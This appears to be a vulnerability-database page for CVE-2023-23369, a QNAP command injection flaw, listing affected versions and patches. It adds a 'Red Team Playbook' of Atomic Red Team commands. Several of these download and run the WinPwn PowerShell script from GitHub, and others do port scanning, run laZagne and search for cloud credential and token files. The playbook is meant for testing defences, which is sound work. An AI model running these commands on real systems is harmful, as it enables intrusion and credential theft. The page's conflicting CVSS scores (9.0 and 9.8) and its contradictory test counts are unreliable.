CVE-2023-23369
Overview
This vulnerability is an OS command injection flaw rooted in improper input validation within QNAP's Multimedia Console and QTS operating system components. The affected modules fail to sanitize user-supplied input correctly, allowing injection of arbitrary operating system commands. The vulnerability resides in network-exposed interfaces that process command parameters without adequate filtering or escaping, enabling malicious command execution.
Vulnerability Description
An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: Multimedia Console 2.1.2 ( 2023/05/04 ) and later Multimedia Console 1.4.8 ( 2023/05/05 ) and later QTS 5.1.0.2399 build 20230515 and later QTS 4.3.6.2441 build 20230621 and later QTS 4.3.4.2451 build 20230621 and later QTS 4.3.3.2420 build 20230621 and later QTS 4.2.6 build 20230621 and later Media Streaming add-on 500.1.1.2 ( 2023/06/12 ) and later Media Streaming add-on 500.0.0.11 ( 2023/06/16 ) and later
Impact
An unauthenticated remote attacker with network access can exploit this vulnerability to execute arbitrary OS commands with system-level privileges. This enables full control over the affected device, including data manipulation, service disruption, and potential lateral movement within the network. The attack requires no user interaction and benefits from high severity metrics (CVSS 9.0) due to its network attack vector, high complexity, and complete impact on confidentiality, integrity, and availability.
Solution
QNAP has addressed this vulnerability in Multimedia Console versions 2.1.2 and later, 1.4.8 and later, QTS builds 5.1.0.2399 and later, 4.3.6.2441 and later, 4.3.4.2451 and later, 4.3.3.2420 and later, 4.2.6 build 20230621 and later, and Media Streaming add-on versions 500.1.1.2 and 500.0.0.11 and later. Users should apply these updates promptly. Detailed patch instructions and advisory information are available at QNAP's security advisory page: https://www.qnap.com/en/security-advisory/qsa-23-35.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
An OS command injection vulnerability has been identified in several versions of the QNAP operating system, which allows an attacker to execute arbitrary commands on the affected system via network requests. This vulnerability arises from insufficient validation of user input, enabling malicious actors to manipulate command execution by injecting crafted input. When exploited, this flaw can lead to unauthorized access to the underlying operating system, potentially compromising the integrity, confidentiality, and availability of the system and its data. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that necessitates immediate attention.
Attack vectors for this vulnerability are primarily network-based, allowing attackers to exploit the flaw remotely without needing physical access to the affected devices. Potential exploitation scenarios include sending specially crafted requests to vulnerable endpoints, which may be exposed through web interfaces or APIs. An attacker could leverage this vulnerability to execute commands that could install malware, exfiltrate sensitive data, or disrupt services. For instance, an attacker could gain control over the device, manipulate files, or even pivot to other systems within the network, escalating their attack and increasing the potential damage.
The real-world impact of this vulnerability is significant, particularly for businesses relying on QNAP devices for data storage and management. Successful exploitation could lead to data breaches, loss of sensitive information, and operational disruptions. The financial repercussions may include costs associated with incident response, system recovery, and potential legal liabilities stemming from data protection regulations. Furthermore, the reputational damage resulting from a security breach could erode customer trust and lead to long-term business consequences. Organizations must recognize that the risks associated with this vulnerability extend beyond immediate technical concerns, encompassing broader business implications.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating QNAP operating systems and associated applications to the latest patched versions is crucial, as the vendor has released updates to address this specific vulnerability. Additionally, employing web application firewalls (WAFs) can help filter and monitor HTTP requests, blocking malicious payloads before they reach the vulnerable application. Network segmentation and strict access controls can further limit the attack surface, reducing the likelihood of exploitation. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the OS command injection vulnerability affecting QNAP operating systems presents a critical threat that organizations must address promptly. By understanding the technical details, potential attack vectors, and real-world impacts, businesses can better prepare themselves against exploitation. Implementing robust detection and mitigation strategies will not only protect sensitive data but also safeguard the organization's reputation and operational integrity in an increasingly hostile cyber landscape.
Affected Products (91)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Qnap | Qts | 5.1.0.2348 |
cpe:2.3:o:qnap:qts:5.1.0.2348:build_20230325:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.0895 |
cpe:2.3:o:qnap:qts:4.3.6.0895:build_20190328:*:*:*:*:*:*
|
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Qnap | Qts | 4.3.6.0907 |
cpe:2.3:o:qnap:qts:4.3.6.0907:build_20190409:*:*:*:*:*:*
|
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Qnap | Qts | 4.3.6.0923 |
cpe:2.3:o:qnap:qts:4.3.6.0923:build_20190425:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.0944 |
cpe:2.3:o:qnap:qts:4.3.6.0944:build_20190516:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.0959 |
cpe:2.3:o:qnap:qts:4.3.6.0959:build_20190531:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.0979 |
cpe:2.3:o:qnap:qts:4.3.6.0979:build_20190620:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.0993 |
cpe:2.3:o:qnap:qts:4.3.6.0993:build_20190704:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1013 |
cpe:2.3:o:qnap:qts:4.3.6.1013:build_20190724:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1033 |
cpe:2.3:o:qnap:qts:4.3.6.1033:build_20190813:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1070 |
cpe:2.3:o:qnap:qts:4.3.6.1070:build_20190919:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1154 |
cpe:2.3:o:qnap:qts:4.3.6.1154:build_20191212:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1218 |
cpe:2.3:o:qnap:qts:4.3.6.1218:build_20200214:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1263 |
cpe:2.3:o:qnap:qts:4.3.6.1263:build_20200330:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1286 |
cpe:2.3:o:qnap:qts:4.3.6.1286:build_20200422:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1333 |
cpe:2.3:o:qnap:qts:4.3.6.1333:build_20200608:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1411 |
cpe:2.3:o:qnap:qts:4.3.6.1411:build_20200825:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1446 |
cpe:2.3:o:qnap:qts:4.3.6.1446:build_20200929:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1620 |
cpe:2.3:o:qnap:qts:4.3.6.1620:build_20210322:*:*:*:*:*:*
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Qnap | Qts | 4.3.6.1663 |
cpe:2.3:o:qnap:qts:4.3.6.1663:build_20210504:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-23369 |
| qnap.com |
GitHub CVE
|
https://www.qnap.com/en/security-advisory/qsa-23-35 |